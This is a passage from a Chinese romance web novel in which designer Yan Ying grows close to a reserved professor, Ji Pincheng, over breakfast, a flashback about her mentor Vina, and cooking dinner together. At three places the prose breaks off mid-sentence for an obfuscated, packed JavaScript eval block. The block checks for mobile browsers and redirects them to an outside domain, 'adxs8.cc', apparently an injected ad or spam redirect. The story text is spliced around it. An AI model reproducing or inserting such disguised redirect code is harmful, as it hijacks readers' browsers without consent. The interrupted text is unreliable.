晏迎点头:“我想喝热水,可附近商店里只卖常温的,我打算回家喝。” “好,那我们走完这圈就回家。” 晏迎其实对季品诚刚开始第一印象不好的原因是觉得这人冷冰冰的难相处,但她现在觉得季品诚这人也不是她印象中的那么冷酷无情。 她又偷偷打量他一眼,发现他面无表情不说话的时候,既不阴沉也不锐利,而是一种很随和的温和。 有话和他直说就好,会比拐弯抹角管用一万倍。 晏迎突然觉得季品诚这人其实蛮简单的,没有网上传的那么神神叨叨,也没有苏阿姨和晏远口中那么复杂难懂。 他似乎一直活在自己的世界里,你如果想和他一起走一段路,他并不会排斥和拒绝。 “季老师,我在网上搜过你,网上说你可厉害了,可以根据每天的日出情况迅速判断出日落时间,这是真的吗?” 季品诚没有想到她会说起这个,他回答:“嗯,这个研究太阳运动轨迹就可以得到规律的,我从小对数字就特别敏感,所以心算也会快一点。” “有多快?” “六位数的乘法二十秒之内我可以给你答案。” 晏迎:“......” 季品诚笑了笑:“你别信网上那些话,一些是事实,一些也只是包装而已。” “我只是个普通人。”季品诚说这句话的时候他觉得自己对她撒谎了。 他其实连普通人都算不上,他做梦都想成为普通人。 晏迎撇撇嘴:“能二十秒算出六位数乘法的人都说自己是普通人了。” 她半开玩笑地对他说:“季老师,你这么厉害,不会是外星人吧?” “如果我是外星人的话,你现在就很危险了。” “哦?怎么个危险法?” “把你抓走,带上UFO,然后去外星把你当成来自地球的实验体做实验。” “哈哈哈,”晏迎被他一本正经的样子逗笑了,“那季老师,你会把我泡进福尔马林里吗?” “会啊,”季品诚难得开玩笑,“你在福尔马林里会得到一个保质期,哪怕过去一千年也漂亮。” 晏迎的眼睛亮晶晶地看向他:“季老师,你是在夸我漂亮吗?” 季品诚才反应过来,自己刚刚用了“漂亮”这个词来形容她。 他一下子有点不知所措了,但如果此时此刻选择了沉默,那么这更像是一种默认。 晏迎冲他眨眨眼睛,催促道:“季老师,你怎么不说话了?” “我没有在夸奖你,我只是说了实话而已。”季品诚松了一口气,觉得自己没有回答错误。 对,“漂亮”只是实话,不是夸奖,这样一说她应该就不会误会了。 晏迎低下头笑了:“这种实话从季老师嘴里说出来,比夸奖还要好听一万倍。” 她说完这句话,肚子就不争气地叫了一声。 季品诚对她侧目:“你饿了?” 晏迎点点头:“季老师,我现在又渴又饿又寒冷,和卖火柴的小女孩一样,我必须找到一家早饭店吃早饭,你有什么推荐吗?” 季品诚思考了一下:“没有推荐,附近的早餐店我都没有去过,我只吃家里做的早餐,不吃外面的。” “你自己做早饭吗?” “我会做,但家里有阿姨,她会帮我做好。” 晏迎长长地“哦”了一声:“我也想尝尝苏阿姨的手艺。” 季品诚看她一眼:“你昨天不是尝过银耳莲子汤了吗?” 晏迎笑了:“对啊,特别好吃,所以我还想再尝尝别的,季老师,我可以去你家吃早饭吗?” 按照常理,这个时候季品诚早就甩手走人了,根本不会给她任何投机取巧的机会。 换成任何一个人,他连婉拒都不会有耐心,会言简意赅直接明了地拒绝。 但兴许是和晏迎聊了一路他感受到自己也不是非常排斥她,也有可能是好久没有人和他说这么多话了,季品诚今天出奇地有耐心。 他没有回答她可不可以去,他只是轻声道:“阿姨只准备了我喜欢吃的食材,你有没有特别想吃的,我看看家里有没有现成的食材让她给你做。” 晏迎愣住了,她刚刚只是想逗逗他和他开个玩笑,她并不真的认为季品诚会好心到同意她去家里吃早饭。 她出社会很早,经历过形形色色的人,也练就了看人的本事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111850|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季品诚的内核是不会主动伤人的冷,但和善良热情毫无关系,相差十万八千里。 她想象中的回答可以是“不行”又或者是“我没有这个义务”,可他居然同意了。 这不按常理出牌的回答,让晏迎一下子无法接话,她这个时候习惯性地去看他的眼睛,想要通过眼睛,得到些什么。 她的上司维娜和她说过,眼睛是不会骗人。 季品诚回视她,又问了一遍:“你没想好要吃什么吗?” 晏迎没有从他的眼睛里,找到任何虚假的,不真诚的迹象,他只是在等她的回答。 “哦,我没有什么特别想吃的,我和你吃一样的就好。” “那我给阿姨发消息,让她多做一份。” 晏迎往他身边走近一步:“诶,季老师,不收我钱吧?” 季品诚认真看着她:“免费,但是只给你吃一次。” 晏迎觉得熟悉的季品诚又回来了,她小声的“哼”了一声:“放心,季老师,我脸皮还没有厚到这个地步,天天蹭你家的饭。” 季品诚弯弯嘴角:“嗯,你这么说我也放心了,要不然真怕你天天来。” 晏迎无聊地踢了一脚路边的小石子:“季老师,听说你有洁癖,去你家要不要穿鞋套,还要不要吃饭的时候把餐巾手套都带好,和全副武装做实验一样?” “对,进我家门之前拿喷雾消毒三遍,吃饭的时候还要穿白大褂戴塑胶手套吃饭。” “啊,”晏迎不敢想象那是什么画面,她心里发怵,连忙摇头摆手,“如果是这样那季老师我就不去了哈,谢谢你盛情邀请,我敬谢不敏。” 看着她慌乱的样子季品诚心情又好了一点,他这次微笑的弧度又大了些:“我开个玩笑,你不是在南城大学的食堂和我一起吃过饭了吗?正常吃饭就好。” “还有,我的确有洁癖,但是是正常范围的洁癖症,不是你想象中的那种严重到令人发指的程度。” 晏迎舒了一口气,她无奈地看季品诚一眼:“季老师,这边不建议你开玩笑,因为别人真的会当真。” 季品诚很真诚地问道:“不好笑吗?” 晏迎捂住心口:“拜托拜托,心脏病都要被你吓出来了,这么冷的笑话哪里好笑。” “放心吧,”季品诚自己都没有注意到,他的语调在变得温柔,“产生心脏病的因素有家族遗传、高血压和高血脂,你是不会就被我讲个冷笑话就吓出心脏病的。” 他说完这句话的时候,晏迎才终于找出了为什么其他人认为季品诚奇怪的点。 那就是季品诚似乎是听不懂带有形容意义的话,他真的会根据你所说的字面意思来进行解释。 “季老师,我这个只是一个夸张的形容,不是我真的心脏病要被你吓出来了。” 晏迎和他并肩的距离在缩短,她只是想和他解释一下形容词的意义。 但这个距离对季品诚来说,无疑是超出了他的社交安全距离,她越线了。 他本能的有点紧张,却没有主动远离她,也没有推开她。 “季老师,同理可得,如果我以后很开心,我可以对你说,我开心得心脏都加速了。” 那是心律不齐,季品诚想。 “季老师,如果我难过了,我也可以说,我难受得心脏都无法呼吸了。” 那是心肺功能下降,可能得冠心病或者阻塞性肺病了,季品诚推了推眼镜,在心里回答。 “季老师,如果我特别喜欢你,我还可以对你说,我见到你,心脏都要停止跳动了。” 那是心脏停搏需要进行心肺复苏了,季品诚默默看晏迎一眼。 晏迎也不知道季品诚有没有明白她的意思,她问道:“季老师,检验下你的学习成果,你来举一反三触类旁通一下。” 季品诚清了清嗓子:“嗯,和你聊天,我的心脏在正常跳动。” 与你相处,身心健康。 8. 08 苏阿姨是在倒垃圾的时候看见晏迎和季品诚走在一起的。 她看第一眼的时候,觉得自己老花眼了。 揉揉眼睛看第二眼,发现没有看错的时候,她又觉得自己肯定是吃错什么东西出现幻觉了。 带上老花镜看第三眼,苏阿姨实在想不通今天到底是什么日子,太阳也没打西边出来啊。 在苏阿姨的印象里,季品诚这人没什么朋友,就是一个孤僻有强迫症的年轻学究。 她自己也知道这类人,不坏但古怪,不喜欢社交,就喜欢一个劲地研究自己喜欢的东西。 遇到人一多,需要大量社交的场合,还会浑身不自在。 而晏迎不一样,她健谈、热烈还活泼,和季品诚简直就是两个世界的人。 在苏阿姨的假设里,晏迎会嫌弃季品诚死板,季品诚会讨厌晏迎聒噪。 反正这两个人的性格摆在那儿,怎么看都八字不合水火不容谈不到一块儿。 苏阿姨进门,怎么想也想不明白这两个人是怎么认识的,还能聊一路? 不可思议,她想着想着差点撞到了门上。 电光火石之间,苏阿姨又看了一眼季品诚让自己多准备一份的早餐。 她嘴角抽搐,不会吧,这多余出来的一份不会是晏迎的吧。 这个想法在苏阿姨八卦的心熊熊燃烧了,她断定季品诚是从来没有经历过恋爱的,她觉得没有人受得了他。 可天下没有离奇的事情,说不定人有时候就是得和食疗一样,缺啥补啥。 就这样抱着熊熊燃烧的八卦之心,苏阿姨做好了早饭。 她也没心情休息看报纸听电视上讲什么了,她就在等季品诚回来。 门开的时候,苏阿姨立马从沙发上站了起来。 季品诚冲苏阿姨打了一个招呼:“苏姨,我回来了。” 晏迎的脑袋从季品诚身后冒出来,笑着道:“早上好,苏阿姨我来蹭饭。” 苏阿姨连忙给晏迎拿了一双客用一次性拖鞋:“欢迎欢迎。” “苏阿姨你太客气了,我自己来。”晏迎接过苏阿姨手里的拖鞋,脸都有点红了。 季品诚换鞋的过程中瞥见了晏迎发红的耳垂,他在低头的瞬间也笑了。 他觉得她的脸皮和变脸似得,一会厚一会薄。 但薄不压厚,大多数时间还是厚脸皮的。 苏阿姨已经吃过早饭了,晏迎想去厨房帮她端碗,苏阿姨轻轻推了她一下:“傻孩子,哪有客人干活的,去陪季教授说说话。” 苏阿姨冲晏迎眨眨眼睛,示意她赶紧出去。 季品诚坐在餐桌边看报纸,晏迎坐在了他对面的位置。 他把面前装了半杯水的杯子往晏迎面前推了推:“喝点热水,五十摄氏度的。” 晏迎喝一口,觉得水温正好。 苏阿姨把两个人的早餐端上来,晏迎张目结舌:“好丰盛,好营养,好健康的搭配。” 晏迎只在一些健身博主的视频中见过这样摆盘精致的早饭。 这一顿早饭晏迎吃得很认真,季品诚忍不住提醒她:“你慢点,不够可以再添。” 晏迎是因为要去上班所以得吃快点,她擦擦嘴,和季品诚开玩笑:“真的吗?没想到季老师你还管够。” 季品诚看一眼她干干净净的餐盘:“还要吗,可以和苏姨说。” “不用了,”晏迎吃完饭之后脸色都红润了不少,她把餐盘刀叉收拾好放到厨房,“谢谢季老师的盛情款待,我要去上班了。” 晏迎和苏阿姨打了个招呼,关门之前,她冲餐厅里的季品诚挥挥手:“季老师,下次你和苏阿姨来我家吃饭。” “不用了。”他这三个字刚刚说出来,晏迎就关上了门。 餐厅又重新恢复安静。 苏阿姨在厨房整理,她的声音和哗啦啦的流水声一起传到季品诚的耳朵里。 “季教授,你不觉得这个女孩子很可爱吗?” “还行吧,并不讨厌。” 苏阿姨背对着季品诚笑了,她觉得季品诚的嘴是真的硬。 如果仅仅只是不讨厌,怎么会把人带到家里来吃早饭,怎么会主动给人家倒热水,怎么会问人家吃没吃饱,不够可以再添。 但苏阿姨转念一想,她又很能理解季品诚,毕竟当局者迷旁观者清,估摸着他也是第一次遇到这种情况。 季品诚觉得她和“可爱”这个词完全不沾边,如果真的要用一个词来形容她,那应该是“聪明”。 他觉得晏迎是一个很聪明的人,所以和她相处,自己也很轻松。 晏迎一脚油门踩到公司门口正好卡点打卡。 前台的薇薇安看到她气喘吁吁的样子笑着打了声招呼:“还有一分钟才到上班时间,晏总监不用着急。” 晏迎从大衣口袋里摸出一块进口巧克力递给她:“上次维娜给我的,我吃了一块黑巧,白巧给你。” “好嘞,谢谢晏总监,我就喜欢吃甜一点的巧克力。” 晏迎是春雨公司的设计总监,也是总经理维娜的心腹。 维娜和她的关系不只是上司对下属,也有点师徒间的恩情在。 当年晏迎刚刚从学校里出来,没有关系也没有背景,一个人很迷茫。 那年就业环境并不乐观,她只找到了一份勉强维持自己温饱的工作。 小小的,狭窄的出租屋里,南方潮湿的房间在漏雨,她拿着盆子四处接水。 晏迎抬头看漏水处,一滴水不偏不倚正好落在了她的眼睛里,流下来的时候像是她在哭。 上班的时候,晏迎都觉得那滴水化作了生泪的池,让她在工位上就红了眼睛。 晚上要陪领导去参加一场应酬,有人关照她,把妆化好看点,说不准翻身的机会就要来了。 她天真地以为是只要谈下这笔大单子就可以升职加薪,直到酒过三巡,对方朝她递过来一张房卡。 在那个长长的走廊,巨大的水晶灯悬挂在她头顶,折射出破碎的光芒。 她抬眼去望,只觉得要被这虚假的迷离弄得睁不开眼睛。 身上廉价的礼服让她的皮肤发痒,宛如命运拿着一根鹅毛伸向她的身体,逗得她想笑,想哭。 肥头大耳的男人不断向她靠近,他夹杂着烟酒味道的嘴巴里,朝她投来无数糖衣炮弹的陷阱。 “你跟了我,我在外面给你租下一个更大更好的房子,你不用上班了,每个月我都会往你卡里定期打钱,你要是把我哄开心了,零花钱和首饰更是不用说。” “我知道你还有一个正在读高中的妹妹,我老婆只给我生了一个女儿,你要是给我生个大胖小子,我会一直资助你妹妹上完大学,以后她也吃喝不愁。” 他向她伸出了手。 那双指节粗大的,不怀好意的手,仿佛要透过她白皙的皮肤,捏碎她骨子里的礼义廉耻。 “啪”很清脆响亮的一声,在空旷的走廊里回响。 晏迎重重地打了他一耳光。 那声耳光是反击,也是宣战。 晏迎觉得自己的手掌心在发麻,但她的心,清醒了。 男人被她打得退后一步,想要冲上来打她时,晏迎一脚踢在了他的裆部。 红底高跟鞋的鞋尖踢下去可不轻,男人捂着□□倒地,骂骂咧咧。 那些咒骂的话,在晏迎的耳朵里形成一段不算好听的旋律,她听着却畅快无比。 她提着裙摆想要逃离这里,抬头间,她看到了一个倚在墙边抽烟的女人。 她很美,身上的白色礼服一看就价值不菲。 女人肯定看到了刚刚她“英勇”的一幕。 晏迎警惕地与她对视,她却在吞云吐雾之间,笑着冲晏迎眨眨眼。 她的气质太出众了,连眼角的鱼尾纹都美得像是给眼睛增色的波纹,风情万种,荡漾其间。 可她的眼神却不柔软,白色烟雾散去,那双眼垂下高高在上的目光。 目光不是给晏迎的,是简单扫过了还在地上骂骂咧咧的男人。 她一步一步朝晏迎走来,带来栀子花的香气。 洁白无瑕,芬芳四溢,人的心都要在这香味里,安稳安静安宁。 晏迎警惕的目光松动下来。 她停在晏迎的三步之外,开口问道:“小妹妹,愿意来我的公司吗,给我从助理做起,不会的我来教你。” 年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111851|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的晏迎轻轻点了点头。 “那行,”女人从镶钻的手提包里拿出一张名片递给晏迎,“明天早上来我这里报告,不见不散。” 春雨公司,维娜。 “哦对啦妹妹,”维娜回头冲她笑了笑,“你提前做好心理准备哦,我是诚心教你东西,但我很严厉的,你别在我这里呆三天就吓得跑路了。” “我不会!” 这一待,就是五年,从助理坐到了总监的位置。 公司高管来来走走,血液换了几批,晏迎始终气定神闲地站在维娜身边,陪她经历风云。 混熟之后,她有一次问维娜:“维娜,为什么公司名字叫春雨啊?” “嫌土气?”维娜笑了。 晏迎也没藏着掖着,她大大方方地点点头:“是有点土,毕竟是走高端设计风的上市公司,你大可起一个洋气点的,说出去也唬人。” 维娜点点头没有否认她的话:“刚创立公司那会取得名字倒是洋气,现在这个名字是后来被我特意改土的。” “为什么?”晏迎有些不解,“这名字找大师算过,风水好?” “不是,春雨是我妈妈的名字。” 维娜并不喜欢和别人吐露心事,可是面对自己一手带上来的晏迎,她觉得说一说也没什么。 “我妈妈是农村人,没读过什么书,名字也土气,但她特别伟大。” 维娜轻轻叹了一口气,觉得往事浑浊如梦。 “我也在农村长大的,爸爸奶奶爷爷都重男轻女,妈妈生下我之后,他们就一直催促妈妈再生一个男孩,妈妈觉得再生一个男孩他们肯定更加忽略我,不肯再生。” “她那会和我说,如果再生下一个女孩子怎么办啊,那个小姑娘来这个家得吃苦了。” 晏迎没有说话,她不想出声打断维娜,她只想陪在她身边,安静地倾听她的每句话。 她知道的,对于维娜来说,倾听就够了。 维娜继续说了下去。 “妈妈不愿意生儿子,所以爸爸在外面重新建立了一个他理想中的家庭,一个有儿子的家庭。” “在那个年代,又是农村,大家都以为妈妈会忍气吞声,毕竟在那会,隐忍是女人所推崇的大智慧。” 维娜弯弯唇角,语气中隐隐带有自豪:“可是我妈妈没有,她果断地和我爸爸离婚,并且利索地收拾好东西带走了我。” “之后她怕我受委屈,也看透了婚姻,并没有再婚,我们母女就过上了相依为命的日子,她很辛苦,却比从前在婚姻里要看了许多。” 维娜的声音渐渐低下去:“她说她后悔过嫁给我爸,但唯一不后悔的事情就是生下了我。” “我也争气,考上好大学,努力工作买房买车创立属于自己的公司,她很欣慰也很开心。” “本来日子应该越过越好了,可她却病倒了,我把她送到最好的医院,请最好的医生给她吃最贵的特效药,也没能多留住她一会儿。” 维娜喃喃道:“子欲养而亲不待啊。” 晏迎握住了她的手,很冰,很凉,这温度像是一份巨大的遗憾被冻成冰块,在漫长的时间里非但没有融化,反而变得更加坚硬寒冷了。 维娜微笑反握住晏迎的手,她看向晏迎的眼睛:“我妈妈走之前是带着笑走的,她说她起码活到我独立了,强大了,不需要依靠这世界上任何一个人也能好好活下去了。” “小迎,从那天开始我就暗暗发誓,我一定不能让她失望。” 晏迎忽然明白她为什么总是高强度的工作了,因为她心里憋着一口气。 那口气像是一团热烈的火,照耀她走过创业阶段最难最难的路。 而母亲的存在,则是她来时路里温柔的春雨,用漫长的潮湿来滋养她成为一棵参天大树。 “维娜,你已经做得很好了。” “还不够,小迎,我不仅要独立强大,以女性的身份在行业里上桌吃饭,我还要有被冒犯时,随时掀桌的底气。” 两双紧紧相握的手仿佛融为一体,晏迎只觉得自己的心也在燃烧起来。 “小迎,我希望这段路你陪我一起。” “维娜,这是我的荣幸。” 9. 09 季品诚休息在家不上课的日子过得很单调,苏阿姨一掐手指都知道他在干什么。 抱着电脑看文献、写论文、在笔记本上写写画画一大堆根本看不懂的学术内容,偶尔还要回学校里加个班搞实验,还是没有加班费自愿去的那种。 苏阿姨摇头,难怪他都二十六七了一次恋爱都没有谈过。 季品诚倒是不觉得枯燥,他反而觉得这样的生活很充实。 看电脑看久了难免会眼睛干涩,季品诚这个时候就会站在窗前向外面眺望一会缓解疲劳。 从他这个角度,正好可以看到晏迎租下的房子一角。 那一角屋檐像是折起来的书页,预示着新故事的来临。 季品诚的目光短暂停留三秒,然后别开了眼睛去看远处郁郁葱葱的树。 今天风不大,远处的树很安静地站着,只有一棵树有点叛逆,轻轻晃动树冠。 站在科学的角度来看,是今天的风向正好吹到了它的位置。 但季品诚通过这棵树,想到了晏迎。 他很自然地觉得她像那棵树,挺拔的,与众不同的,风吹的时候就轻轻晃动像是在笑,风停了也能安静下来。 鬼使神差,他伸出手指隔着透明的玻璃去触碰那棵树的位置,就在他触碰到的那个瞬间,风变小了,树也停止了晃动。 仿佛是一种安静的回应。 季品诚触电一样收回了手,他觉得自己能把一棵树联想成她已经够荒唐了,不可以再这样下去。 他重新回到座位坐下来,翻开一本厚实的专业书。 一看就是一下午,直到苏阿姨敲响他书房的门。 季品诚放下手中的笔去开门:“怎么了苏姨?” 苏阿姨满脸抱歉:“不好意思啊季教授,家里临时出了点事情,今天晚饭也做不了了,我现在就要买票立马赶回老家,这几天都可能不在家的。” 这在季品诚眼里不是什么大事,他点点头:“好的苏姨,有需要用到钱的地方吗,有困难可以和我说。” “不用不用,”苏阿姨连忙摆手,“没有费钱的地方,就是耽误些时间,我去几天季教授你就扣几天工资。” “行,您处理好了和我发个消息通知我一下就好。” “诶好。” 苏阿姨简单收拾了一下要带的行李就走了,季品诚看一眼手表,时间还早,晚饭到时候随便对付一口就好。 这个点正好是下班的晚高峰,苏阿姨准备打车去车站,但一直打不到车。 眼看着再不去车站就来不及了,苏阿姨着急地冒了一身冷汗。 一辆车在苏阿姨的面前停了下来,她认识这辆车,是晏迎的。 晏迎打开车窗打招呼道:“苏阿姨,您是在等车吗?” “是啊,我要去火车站检票回一趟老家,但是一直没打到车。” 晏迎笑了:“您上来吧,我送您去。” 苏阿姨坐到副驾驶座上的时候才松了一口气:“幸好遇到了你,要不然今天就赶不回去了。” “小事儿,苏阿姨不用客气。” 晏迎没有问她发生了什么事要这么着急,她向来不喜欢打听别人的私事。 她打开车载音响,一边听歌一边安静地开车。 苏阿姨在旁边和她唠嗑,说着说着就提到了季品诚。 “我回家一趟得让季教授自己做好几天的饭了,不过他只需要做一顿早饭就好,午饭和晚饭可以吃大学食堂。” 晏迎搭话道:“他自己会做饭吗?” “当然会了,季教授厨艺还不错的,看不出来吧?” 晏迎点点头:“确实看不出来,看他那样就觉得他只适合搞研究和教书,和当厨子不沾边。” 苏阿姨被晏迎逗笑:“这可不能以貌取人呐,我有一次手受伤了做不了饭,还是季教授下得厨房,你别说,做的还真不比厨子差。” 晏迎的脑海里突然有了一幅画面。 那个沉默寡言的男人围着围裙,在厨房里做饭。 洗米,摘菜,切肉...... 他一丝不苟地完成着,把自己完完全全浸染在锅碗瓢盆的红尘味里。 晏迎弯弯唇角,不由自主地想到了“贤夫”这两个字。 季品诚被她解构成两半,一半清冷地望月观星,一半又投身在凡尘俗世的深处里惹人动情。 她缓过神来的时候,才发觉自己刚刚的想法是多么滑稽。 晏迎轻声问苏阿姨:“他最拿手什么菜?” 苏阿姨想了想回答道:“季教授喜欢清淡的菜系,他很会煲粥,炖鸡汤,做清蒸鱼。” 火车站很快就到了,晏迎帮苏阿姨把行李搬到检票口。 “谢谢啊晏迎,回去的路上注意安全。” “不客气,苏阿姨,祝您路途顺利。” 开车回家的路上,晏迎给晏远打了一个电话。 “喂,小远,在干嘛呢?” 晏远的声音听上去有些欲哭无泪:“姐,我在写作业呢,在写季老师布置的超难作业,明天就要交给他了。” 晏迎笑了一声:“行行行,你继续写,我只是想问问你晚饭想吃什么菜。” “姐你看着办吧,我不挑食的,啥都吃。” “好,”晏迎思索了一下,“那我挂电话啦,你继续写作业吧,到时候把饭做好了喊你吃饭。” “好嘞。” 晏迎导航去了离家不远的菜市场买菜。 晏远喜欢吃土豆丝,她买了两个土豆和三个尖椒。 买菜最烦的就是不知道要买什么菜,晏迎提着一袋子土豆尖椒有点犯难。 她准备把每个摊子都逛一遍。 路过一家杀鱼的小摊,老板娘笑着和晏迎招呼道:“姑娘买鱼吗?我们这里都是新鲜现杀的。” 鱼? 晏迎想到了苏阿姨的话,季品诚很会煲粥,炖鸡汤,做清蒸鱼。 她走近卖鱼摊子,冲老板娘点点头:“姐,你帮我选条鱼吧,我要做清蒸鱼。” “好嘞,做清蒸鱼最好的就是鲈鱼,刺少肉厚,武昌鱼也行,鲜美但刺多,家里有老人小孩就别买了,还有鳜鱼,做清蒸也不错。” 晏迎果断道:“那就鲈鱼,大姐你帮我杀一下。” 老板娘动作利落地把鲈鱼杀好装在黑色袋子里,晏迎提在手上,坚定地走向卖鸡鸭鹅的摊子。 “丫头你要买什么?” “叔,帮我杀一只老母鸡,我要炖汤。” “行,你等着,我给你现杀。” 晏迎提着一堆菜走出菜市场门口的时候深呼吸了一口气,她觉得自个冲动了。 因为她不会做清蒸鱼,也不会炖鸡汤,只会简单做个青椒炒土豆丝。 没事,晏迎安慰自己,有人会做就好。 开车回家的路上晏迎其实很忐忑,因为她也没有十足的把握保证那个会做的人,可以百分之百被她忽悠得来做这顿饭。 这个想法一直保持到她站在季品诚的家门口,却没有勇气按下他家的门铃。 怎么和他说呢,说感谢他早上提供的早饭,礼尚往来她准备邀请他共进晚餐? 晏迎皱眉,不对啊,哪有邀请别人来家里吃饭还得让别人亲自下厨做饭的道理。 说苏阿姨不在家,他一个人吃饭孤单,想陪他吃饭热闹一点? 也不行啊,季品诚这人本来就不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111852|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社交,巴不得安安静静一个人吃饭。 晏迎叹了一口气,实在不行就自己回家搜索一下做菜教程吧。 季品诚已经透过家里的可视性门铃看她在门外徘徊好久了。 他忙完手上的事情准备出门扔个垃圾,没想到正好撞见这一幕。 巴掌大的电子屏里,她提着一堆菜不知道在低头思考什么,有时候看她伸出手想按下门铃,可立马又缩了回去。 在季品诚的印象里,她一直都是很直接明了的人,做事风风火火,不会这么拖泥带水犹豫不决。 现在这个情况,季品诚有点懵了。 他看不懂她到底要干什么,更不理解她既然想找他,为什么不按门铃。 他越看越想不明白。 电子屏里,晏迎又看了一眼门铃的位置,然后下定决心一般,转身就走。 季品诚皱眉,主动打开了门。 “吱呀”一声门响,走了三步的晏迎停下脚步回头。 季品诚提着一袋子垃圾和她对视:“你找我吗?” 晏迎心虚地笑了笑:“没有呀季老师,我就正好路过你家门口。” “我透过可视门铃看到你在我家门口都站了十分钟了。” 晏迎嘴角抽搐:“原来你一直都在门口啊...” 季品诚的眼睛扫过她手里的几袋子菜,差不多明白了她找自己的目的。 但他不说,只是又问了一遍:“你找我干什么?” 晏迎清清嗓子,对他笑道:“季老师,我听苏阿姨说你会炖鸡汤和清蒸鱼,我今天买了老母鸡和鲈鱼,想向你请教一下怎么做,顺便邀请你来我家吃晚饭。” 季品诚总结:“你想让我给你做清蒸鱼和炖鸡汤,然后不让我白做,留我吃顿饭。” “对,”晏迎大方地点头,“我就是这个意思,季老师你总结得不错。” 季品诚不说话了,他弯弯唇角无声地笑了笑。 这个举动让晏迎觉得他下一步就是拒绝。 晏迎退后一步,补充了一句:“季老师,如果你不愿意也没关系。” 这是一个台阶,他不需要说出拒绝的话,只需要点点头就可以走了。 季品诚抬眼看她:“我没有不愿意,只是不明白这件事情有什么让你纠结到站在我家门口十分钟,都不按门铃。” 晏迎知道他这是同意的意思,心里像是被撒了一把跳跳糖,隐隐兴奋。 她晃了晃手里的菜袋子,回答道:“哎呀,我一个女孩子脸皮薄,不好意思行了吧” 季品诚把垃圾扔在不远处的公共垃圾桶里,他一步步走向晏迎,伸手拿过她手里沉甸甸的菜。 “脸皮薄?你确定你是在说你自己吗?” 他的风衣外套之下是休闲风的家居服,扣子没有扣到最上面,正好露出一点白皙的皮肤和锁骨。 他并不知道他这么穿,在晏迎眼里,是别样的性感。 男人西装革履努力收拾一番的帅是刻意的,如果脸和身材扛得住,那么合身的家居服,简直是不一样的诱惑。 季品诚注意到晏迎的目光停留在自己的家居服上,他下意识地觉得,她是在嫌弃自己穿着不正式。 他开口:“我披个外套准备出门倒垃圾,没想到还要去别的地方,所以没有换衣服,你等我一下......” 他的话还没有说完,晏迎看着他的眼睛出声打断了。 “不用了季老师,这样就很好。” 她眼波流动,忍不住夸道:“我这样看你是因为,没想到你穿家居服也这么好看。” 季品诚默默伸手扣上了自己衣服最上面的扣子:“谢谢,我觉得我还是回家换一下比较好。” 10. 10 季品诚还是第一次到别人家做饭。 他脱下风衣外套挂在她家门口的木质衣架子上,然后提着菜去了厨房。 他们的衣服都挂在了木质的衣架子上。 夕阳的光透过窗户照在衣架那块,把她的皮衣照得发亮,他的风衣靠着她的皮衣,有风吹过,两件衣服的衣摆短暂相贴又分开。 这个画面是那样违和,却又那样自然。 厨房的分工很明确,土豆和尖椒交给晏迎,杀好的鸡和鱼则是季品诚处理。 季品诚处理那条鱼的时候,才想起来自己没有穿围裙。 他举着湿漉漉的手,在厨房里找围裙在哪。 晏迎拿着一件新的围裙走到他身后:“季老师,你是不是在找这个?” 季品诚看了一眼那件粉白色格子的HelloKitty围裙,沉默地点了点头。 晏迎笑了:“季老师你别嫌弃这个颜色和图案,我家里只有这个了。” 季品诚别过头,不理会她戏谑的笑容:“能用就行。” 那条处理了一半的鱼,此刻安静地躺在砧板上,季品诚觉得它看热闹似得看自己。 他转身走到水池边上想要洗干净手穿围裙,就在他打开水龙头洗手的时候,晏迎走到了他背后。 她踮起脚尖想把围裙挂在他的脖子上。 水龙头里的水还在流动,季品诚洗手的动作却暂停了。 他听见水流“哗啦啦”的声音,一点一点随着她的动作,充斥着他的耳道。 这声音仿佛一场雨,落在他从没有人踏足的世界里。 季品诚后知后觉,发现自己从某一刻开始,已经偏离了轨迹。 从踏进她的家门开始,从答应帮她做菜开始,从站在门里面,通过电子屏足足看了她十分钟开始。 或许更早...... 他不应该和她有什么交集有什么接触,不应该挨得这么近。 他抗拒着这种不理智的情感,就像是小孩子因为牙疼不得不抗拒吃糖。 但是他的手却没有关掉水龙头打断她的动作,他张了张嘴,又沉默地闭上了。 他像是静止一般,任那场谁也看不见的雨,把自己浇个湿透。 他不知道自己此刻的答案。 晏迎浑然不知道他此刻的思绪万千,她在这么近的距离里,闻到了很多味道。 鱼的腥味,尖椒的辛辣味,自己身上差不多散掉的香水味,以及他身上沐浴露的木质调味。 这些应该毫不相干的味道融合在一起,变成连接她共他的一根线。 俗世里的俗人,面对人最初始的情感,终不能幸免。 她冰凉的手指迅速经过他的头发、耳垂和下巴,把围裙挂在了他的脖子上。 季品诚关掉了水龙头,想要转身去看她。 “别动,季老师,我给你把后面的围裙带子系起来。” 